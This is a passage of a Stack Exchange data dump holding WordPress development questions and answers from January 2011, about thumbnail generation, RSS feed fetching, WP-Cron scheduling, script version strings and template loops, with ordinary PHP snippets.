  <row Id="7777" PostTypeId="2" ParentId="7756" CreationDate="2011-01-26T00:10:09.020" Score="2" ViewCount="" Body="&lt;p&gt;I answered this for you in the comments of &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7724/how-can-i-stop-wp-media-uploader-from-creating-duplicates-of-my-uploaded-images&quot;&gt;your previous question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...you can use the filter that @Backie&#xA;  suggested above&#xA;  (&lt;code&gt;intermediate_image_sizes_advanced&lt;/code&gt;),&#xA;  and in the hooked function check for a&#xA;  field in the post collection named&#xA;  *_wp_http_referer*. It tells you where the upload request came from.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If _wp_http_referer contains&#xA;  &quot;media-new.php&quot;, you can return an&#xA;  empty array (which will temporarily&#xA;  stop thumbnail generation, but won't&#xA;  actually change any thumbnail&#xA;  settings). Otherwise, return the&#xA;  $sizes array untouched.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpsx_7756_no_thumbnails($arr_sizes){&#xA;&#xA;    if(stristr($_POST['_wp_http_referer'], 'media-new.php')) {&#xA;        return array();&#xA;    }&#xA;&#xA;    return $arr_sizes;&#xA;&#xA;}&#xA;&#xA;add_filter('intermediate_image_sizes_advanced','wpsx_7756_no_thumbnails');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that adding the filter &lt;em&gt;while you're on the upload form&lt;/em&gt; won't do what you want--the form posts to a separate page that handles the upload, and it won't respect your filter.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-26T00:10:09.020" CommentCount="6" />
  <row Id="7778" PostTypeId="2" ParentId="4559" CreationDate="2011-01-26T00:23:01.217" Score="0" ViewCount="" Body="&lt;p&gt;You've probably figured this out since this is an old question, but the new menus for WP 3.0+ has a &quot;menus&quot; option that lets you drap a drop pages to form your menus. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;menus&quot; option also uses a checkbox to determine which pages are included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-01-26T00:23:01.217" CommentCount="1" />
  <row Id="7779" PostTypeId="2" ParentId="7775" CreationDate="2011-01-26T01:00:48.110" Score="2" ViewCount="" Body="&lt;p&gt;You can technically pass multiple feed URLs to fetch_feed() as an array, and it'll grab them all at once. But the return is a total mess, and I couldn't personally figure out how to parse it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;If nobody else knows how to do this with fetch_feed(), I can offer a solution using the SimplePie class (which fetch_feed actually  uses anyway). The SimplePie class has some helper methods for parsing the return, and they make things pretty easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Contains the SimplePie class&#xA;require_once (ABSPATH . WPINC . '/class-feed.php');&#xA;&#xA;// New class instance&#xA;$feed = new SimplePie();&#xA;&#xA;// You feed URLs&#xA;$feed-&amp;gt;set_feed_url(array('http://rss.cnn.com/rss/cnn_topstories.rss', 'http://cuteoverload.com/feed/'));&#xA;&#xA;// Do it!&#xA;$feed-&amp;gt;init();&#xA;$feed-&amp;gt;handle_content_type();&#xA;&#xA;// Loop the results&#xA;foreach($feed-&amp;gt;get_items() as $item) {&#xA;&#xA;    echo $item-&amp;gt;get_title();&#xA;    echo '&amp;lt;hr/&amp;gt;';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additional SimplePie methods include get_permalink() and get_description().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downside to this approach is that is SimplePie is ever phased out of WordPress in favor of another class, this'll break.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @Rarst pointed out in the comments, you don't need to access SimplePie directly. You can use its methods on the object that fetch_feed() returns. So the answer is much simpler than I thought:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$feed = fetch_feed(array('http://rss.cnn.com/rss/cnn_topstories.rss', 'http://cuteoverload.com/feed/'));&#xA;&#xA;// Loop the results&#xA;foreach($feed-&amp;gt;get_items() as $item) {&#xA;&#xA;    echo $item-&amp;gt;get_title();&#xA;    echo '&amp;lt;hr/&amp;gt;';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2011-01-26T16:01:38.583" LastActivityDate="2011-01-26T16:01:38.583" CommentCount="2" />
  <row Id="7780" PostTypeId="1" AcceptedAnswerId="7784" CreationDate="2011-01-26T02:29:32.293" Score="0" ViewCount="218" Body="&lt;p&gt;Reading &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_event&quot; rel=&quot;nofollow&quot;&gt;wp_schedule_event()&lt;/a&gt; documentation got me code something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('cr_paid_link_manager_generate_expiring_link_email_action','cr_paid_link_manager_generate_expiring_link_email');&#xA;wp_schedule_event(time(), 'daily', 'cr_paid_link_manager_generate_expiring_link_email_action');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, &lt;code&gt;cr_paid_link_manager_generate_expiring_link_email()&lt;/code&gt; is generated everytime page load, or so it look's like. This code supposed to send email only once a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to set first parameter of &lt;code&gt;wp_schedule_event()&lt;/code&gt; to &lt;code&gt;$timestamp_start&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$timestamp_start = '2011-01-26 00:00:00';&#xA;add_action('cr_paid_link_manager_generate_expiring_link_email_action','cr_paid_link_manager_generate_expiring_link_email');&#xA;wp_schedule_event($timestamp_start, 'daily', 'cr_paid_link_manager_generate_expiring_link_email_action');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still no result. The code keep sending email Every minute. Is there something missing on my code?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-01-26T03:28:14.770" Title="wp_schedule_event() set daily, but processed every second" Tags="&lt;plugin-development&gt;&lt;wp-cron&gt;" AnswerCount="1" />
  <row Id="7781" PostTypeId="1" CreationDate="2011-01-26T02:45:11.810" Score="0" ViewCount="117" Body="&lt;p&gt;I love Wordpress, and I keep a blog on a domain hosted at wordpress.com. However, it's so damn slow! (Blogger wasn't much better.) Are there any full-featured substitutes available? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use several computers, depending on where I am and what I'm doing: An older mac, a windows netbook, and a ChromeOS laptop, so the best solutions for me will be web-based, but I won't rule out desktop apps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from the slowness, I can't stand the little tiny window in the posyst editor (there's a fullscreen view, but not in code view), and as I tend to edit the HTML directly, syntax highlighting would be extremely helpful. &lt;/p&gt;&#xA;" OwnerUserId="1243" LastActivityDate="2011-01-27T22:32:39.847" Title="Wordpress.com post editor replacement" Tags="&lt;posts&gt;&lt;wordpress.com&gt;&lt;editor&gt;" AnswerCount="2" />
  <row Id="7782" PostTypeId="1" AcceptedAnswerId="8983" CreationDate="2011-01-26T02:50:54.323" Score="0" ViewCount="241" Body="&lt;p&gt;I am loading JQuery from the google CDN using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_deregister_script('jquery'); &#xA; wp_register_script(&#xA;    'jquery', // handle - WP uses this name to refer to script&#xA;    'http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js',&#xA;     array(), // Array of handles representing scripts that this one depends on.&#xA;     false, // Version number - defaults to false.&#xA;     false // false = put script in header, true = put in footer&#xA; );&#xA;wp_enqueue_script('jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In firebug I see that wordpress appends '?ver=3.0.4' to the URL to control caching. In fact there doesn't seem to be any way to stop WP from appending &lt;strong&gt;something&lt;/strong&gt; to the URL - I can provide my own string in the call to wp_register_script() but WP will use the default 'ver=3.0.4' if i leave it blank (or &quot;false&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the appended version string stop the user's browser from re-using a cached copy of the file that it might have downloaded from a &lt;strong&gt;different&lt;/strong&gt; website. E.g.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User visits www.example.com which loads ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js so it is now in browser cache.&lt;/li&gt;&#xA;&lt;li&gt;User then visits my site which loads ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js?ver=3.0.4&lt;/li&gt;&#xA;&lt;li&gt;The user's browser not use it's cached copy because the URLs are different.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since cross-site caching is one of the main reasons I want to use Google's CDN, are there any solutions to this other than loading the script manually (not ideal) or hacking WP core?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Eoin/&lt;/p&gt;&#xA;" OwnerUserId="2736" LastActivityDate="2011-05-15T18:10:57.060" Title="WP script versioning breaks cross-site caching?" Tags="&lt;javascript&gt;&lt;cache&gt;&lt;wp-enqueue-script&gt;&lt;cdn&gt;" AnswerCount="7" FavoriteCount="1" />
  <row Id="7783" PostTypeId="2" ParentId="7782" CreationDate="2011-01-26T03:21:54.617" Score="1" ViewCount="" Body="&lt;p&gt;Short answer: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the code in &lt;code&gt;wp-includes/scriptloader.php&lt;/code&gt; and there is nothing that indicates an &quot;option&quot; about supplying the version number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can, however, simply put this in your footer (or header) as an explicit &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag. Of course, this completely defeats the whole idea of &lt;code&gt;wp_register_script()&lt;/code&gt;, but that's true with a number of &quot;features&quot; in WP. (Don't get me started on the brain-dead/broken parsing of shortcodes with regexps.)&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-01-26T03:21:54.617" CommentCount="3" />
  <row Id="7784" PostTypeId="2" ParentId="7780" CreationDate="2011-01-26T03:28:14.770" Score="3" ViewCount="" Body="&lt;p&gt;Where are you putting the wp_schedule_event() code? My guess is, you have it somewhere that's causing it to run on every page load, causing the action to be scheduled multiple times (like maybe you just dropped it in your functions.php?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need to schedule the action once. The easiest way is to do it on activation of your plugin. Try something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpsx_7780_myplugin_init() {&#xA;&#xA;  wp_schedule_event(time(), 'daily', 'cr_paid_link_manager_generate_expiring_link_email_action');&#xA;&#xA;}&#xA;register_activation_hook( __FILE__, 'wpsx_7780_myplugin_init' );&#xA;add_action('cr_paid_link_manager_generate_expiring_link_email_action','cr_paid_link_manager_generate_expiring_link_email');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then deactivate and reactivate your plugin. This way, the event only gets scheduled once, but the action gets added on every page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I should also note that you'll probably need to clear all those existing events you've created using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_clear_scheduled_hook&quot; rel=&quot;nofollow&quot;&gt;wp_clear_scheduled_hook()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-26T03:28:14.770" CommentCount="1" />
  <row Id="7785" PostTypeId="1" AcceptedAnswerId="7824" CreationDate="2011-01-26T04:21:58.470" Score="1" ViewCount="472" Body="&lt;p&gt;I almost always select &quot;Open link in new window&quot; when creating an URL/HREF. Is there any way to default this choice.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it requires a small source code change, I think it would be worthwhile (if someone can tell me where that might be.) &lt;/p&gt;&#xA;" OwnerUserId="2550" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-26T13:17:07.010" LastActivityDate="2011-01-28T06:55:03.610" Title="Is there any way to set default for &quot;Insert/Edit Link&quot; to &quot;Open link in new window&quot;?" Tags="&lt;links&gt;&lt;visual-editor&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7786" PostTypeId="2" ParentId="7769" CreationDate="2011-01-26T04:38:39.933" Score="2" ViewCount="" Body="&lt;p&gt;I cracked open the code and there doesn't seem to be a way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of thumbnail sizes that WP iterates through while rendering those radio buttons is hard-coded, and there don't seem to be any filters or actions to hook in to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really strange. I'd fully expect there to be a way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do people need to be able to insert ANY of your custom sizes into posts at any given time? Or are some of them only used in templates? I guess what I'm asking is, is it possible to just make one or more of the default sizes (thumb, medium, large) the ones that get added in posts, and save any additional versions for custom sizes? Know what I mean?&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-26T04:38:39.933" CommentCount="1" />
  <row Id="7787" PostTypeId="2" ParentId="7754" CreationDate="2011-01-26T04:58:53.117" Score="4" ViewCount="" Body="&lt;p&gt;I'm from the World of Django, where CRUD is King, so I had a similar question. The best answer I've found so far is &lt;a href=&quot;http://wordpress.org/extend/plugins/pods/&quot; rel=&quot;nofollow&quot;&gt;Pods&lt;/a&gt; and the associated &lt;a href=&quot;http://wordpress.org/extend/plugins/pods-ui/&quot; rel=&quot;nofollow&quot;&gt;Pods UI&lt;/a&gt;. Unlike &quot;Custom Posts&quot;, which are kind of weird once you take a look under the hood, Pods actually creates real tables with real fields. Furthermore, you can crate &lt;em&gt;relations&lt;/em&gt;! What a concept! Try that with Custom Fields. I haven't done this for a user-facing page yet, but it makes for a very nice admin-facing input form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update in response to comment:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP doesn't really have an ORM to speak of. It has &lt;code&gt;meta&lt;/code&gt; tables (&lt;code&gt;wp_usermeta&lt;/code&gt;, &lt;code&gt;wp_postmeta&lt;/code&gt;, and &lt;code&gt;wp_commentmeta&lt;/code&gt;) to store &quot;extra&quot; information in (this is where new fields are stored for Custom Post Types), but there is none of the very nice lazy-dereferencing you have in a proper ORM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although relationships (foreign key, one-to-one, and many-to-many) are not natively supported by WP, there are a handful of plugins that address this issue and one of them that may make this situation palatable for you. I haven't used any of them (yet) so I can't speak for their relative strengths and weaknesses.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/posts-to-posts/&lt;/a&gt; This plugin is by &lt;a href=&quot;http://scribu.net/wordpress/posts-to-posts/p2p-0-5.html&quot; rel=&quot;nofollow&quot;&gt;scribu&lt;/a&gt;, one of the WP core developers. I don't if that makes it better, but it's a data point.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/relation-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/relation-post-types/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-relationships/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-relationships/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-01-26T20:31:14.533" LastActivityDate="2011-01-26T20:31:14.533" CommentCount="10" />
  <row Id="7788" PostTypeId="2" ParentId="7782" CreationDate="2011-01-26T05:19:52.983" Score="0" ViewCount="" Body="&lt;p&gt;Use this in your theme's functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_wp_script_version( $src ){&#xA;&#xA;    global $wp_version;&#xA;&#xA;  $version_str = '?ver='.$wp_version;&#xA;  $version_str_offset = strlen( $src ) - strlen( $version_str );&#xA;&#xA;  if( substr( $src, $version_str_offset ) == $version_str )&#xA;    return substr( $src, 0, $version_str_offset );&#xA;  else&#xA;    return $src;&#xA;}&#xA;add_filter( 'script_loader_src', 'remove_wp_script_version', 15, 1 ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want, you can also add another filter to remove versioning from stylesheets. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'style_loader_src', 'remove_script_version', 15, 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand why they put this in the core. Not only does it mess with caching of external scripts but it also gives out unnecessary information about the site. I just use the filters above and add my own version numbers to custom scripts as needed. &lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-26T06:35:52.793" LastActivityDate="2011-01-26T06:35:52.793" CommentCount="1" />
  <row Id="7789" PostTypeId="2" ParentId="7782" CreationDate="2011-01-26T06:39:07.377" Score="5" ViewCount="" Body="&lt;p&gt;I remove version like this, can be easily written out to match multiple domains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'script_loader_src', 'jquery_unversion' );&#xA;&#xA;function jquery_unversion( $src ) {&#xA;&#xA;    if( strpos( $src, 'ajax.googleapis.com' ) )&#xA;        $src = remove_query_arg( 'ver', $src );&#xA;&#xA;    return $src;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-26T06:39:07.377" />
  <row Id="7790" PostTypeId="1" CreationDate="2011-01-26T07:45:20.317" Score="3" ViewCount="163" Body="&lt;p&gt;WP has a nice javascript loader included in wp-admin:&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/load-scripts.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/load-scripts.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and a CSS loader:&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/load-styles.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/load-styles.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if it's possible to use them in the front-end too, not just admin, because they can concatenate all enqueued scripts, and serve them as a single gzipped file&lt;/p&gt;&#xA;" OwnerUserId="600" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-29T07:29:54.393" LastActivityDate="2011-03-29T07:29:54.393" Title="Could the WP script/style loader be used to concatenate and gzip scripts and styles in the front-end?" Tags="&lt;css&gt;&lt;javascript&gt;&lt;performance&gt;&lt;wp-enqueue-script&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="7791" PostTypeId="1" AcceptedAnswerId="7793" CreationDate="2011-01-26T07:59:59.930" Score="0" ViewCount="366" Body="&lt;p&gt;I want to display comment form validation errors (as well as captcha error) on the comment form itself and not on a different page.&#xA;How can I do that ?&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2011-07-27T07:49:52.243" Title="How to dispaly comment form error messages in the same page" Tags="&lt;comments&gt;&lt;comment-form&gt;" AnswerCount="2" />
  <row Id="7792" PostTypeId="1" CreationDate="2011-01-26T08:02:10.460" Score="0" ViewCount="173" Body="&lt;p&gt;Wordpress founder, Matt Mullenweg, has a great feature in his photo galleries. In thumbnail view, any photo that has a comment attached displays the comment count under the thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look here (scroll down and you'll see some thumbnails with comment counts):&#xA;&lt;a href=&quot;http://ma.tt/2010/11/luxembourg/&quot; rel=&quot;nofollow&quot;&gt;http://ma.tt/2010/11/luxembourg/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He appears to be using the built-in gallery function, but I have been scouring the internet and cannot find any way to do this. Any help would be appreciated. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It should also be noted that in this particular case I actually don't need the standard captions to show at all. Instead of adding the comment-count to the caption, I would be happy with a way to replace the standard caption with the comment count. I'm not sure if this make things any easier. Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2011-08-25T12:34:36.550" Title="Displaying comment counts in WP Gallery thumbnail view" Tags="&lt;comments&gt;&lt;gallery&gt;" AnswerCount="2" />
  <row Id="7793" PostTypeId="2" ParentId="7791" CreationDate="2011-01-26T08:04:30.967" Score="1" ViewCount="" Body="&lt;p&gt;This question have answered again, here:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2539/comment-form-validation&quot;&gt;Comment form validation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can do the same with JQuery and Validation plugin&lt;br&gt;&#xA;&lt;a href=&quot;http://bassistance.de/jquery-plugins/jquery-plugin-validation/&quot; rel=&quot;nofollow&quot;&gt;http://bassistance.de/jquery-plugins/jquery-plugin-validation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-01-26T08:04:30.967" CommentCount="1" />
  <row Id="7794" PostTypeId="2" ParentId="7785" CreationDate="2011-01-26T08:08:26.303" Score="0" ViewCount="" Body="&lt;p&gt;You can create a filter for the hook &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/edit_tag_link?version=3.0&amp;amp;file=wp-includes/link-template.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;edit_tag_link&lt;/code&gt;&lt;/a&gt; and munge the link to taste. This is one of a huge number of undocumented (or under documented) hooks in WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try something like (warning: untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function edit_tag_link_new_window($content) {&#xA;    $content = preg_replace('/href/', 'target=&quot;_blank&quot; href', $content);&#xA;    return $content;&#xA;}&#xA;add_filter('edit_tag_link', 'edit_tag_link_new_window');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-01-26T08:08:26.303" CommentCount="2" />
  <row Id="7795" PostTypeId="1" AcceptedAnswerId="7826" CreationDate="2011-01-26T08:09:50.547" Score="0" ViewCount="262" Body="&lt;p&gt;I read a tutorial about how to &lt;a href=&quot;http://zeo.my/wordpress-display-the-contents-of-static-page-posts-page/&quot; rel=&quot;nofollow&quot;&gt;Display the contents of static page Posts page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I had to place this code right before the Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php //This is the code from the tutorial&#xA;if ( 'page' == get_option('show_on_front') &amp;amp;&amp;amp; get_option('page_for_posts') &amp;amp;&amp;amp; is_home() ) : the_post();&#xA; $page_for_posts_id = get_option('page_for_posts');&#xA; setup_postdata(get_page($page_for_posts_id));&#xA;?&amp;gt;&#xA; &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;page&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;   &amp;lt;?php the_content(); ?&amp;gt;&#xA;   &amp;lt;?php edit_post_link('Edit', '', '', $page_for_posts_id); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA; rewind_posts();&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted to also include &lt;code&gt;the_content&lt;/code&gt;, but instead the &lt;code&gt;the_title&lt;/code&gt; of the first post (blog) entry was shown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;       &amp;lt;?php the_title(); ?&amp;gt;&#xA;       &amp;lt;?php the_content(); ?&amp;gt;&#xA;       &amp;lt;?php edit_post_link('Edit', '', '', $page_for_posts_id); ?&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;picture:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/nEdKz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;loop.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( 'page' == get_option('show_on_front') &amp;amp;&amp;amp; get_option('page_for_posts') &amp;amp;&amp;amp; is_home() ) : the_post();&#xA;    $page_for_posts_id = get_option('page_for_posts');&#xA;    setup_postdata(get_page($page_for_posts_id));&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;shadow-top&quot;&amp;gt;&#xA;    &amp;lt;!-- Shadow at the top of the slider --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;intro2&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php edit_post_link('Edit', '', '', $page_for_posts_id); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #featured --&amp;gt;&#xA;&amp;lt;div class=&quot;shadow-bottom&quot;&amp;gt;&#xA;    &amp;lt;!-- Shadow at the bottom of the slider --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;blog&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;posts&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                    rewind_posts();&#xA;                endif;&#xA;                ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    /* Start the Loop.&#xA;     *&#xA;     * In Twenty Ten we use the same loop in multiple contexts.&#xA;     * It is broken into three main parts: when we're displaying&#xA;     * posts that are in the gallery category, when we're displaying&#xA;     * posts in the asides category, and finally all other posts.&#xA;     *&#xA;     * Additionally, we sometimes check for whether we are on an&#xA;     * archive page, a search page, etc., allowing for small differences&#xA;     * in the loop on each template without actually duplicating&#xA;     * the rest of the loop that is shared.&#xA;     *&#xA;     * Without further ado, the loop:&#xA;     */ ?&amp;gt;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;blog.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Blog&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;        &amp;lt;?php // Start the Main Loop&#xA;        if ( have_posts() ) : ?&amp;gt;&#xA;            &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;posts&quot;&amp;gt;&#xA;                 &amp;lt;h2&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .posts --&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm using the following code. It retrieves the page's specific &lt;strong&gt;the_content&lt;/strong&gt; but when retrieving the_title, it still retrieving the first blog 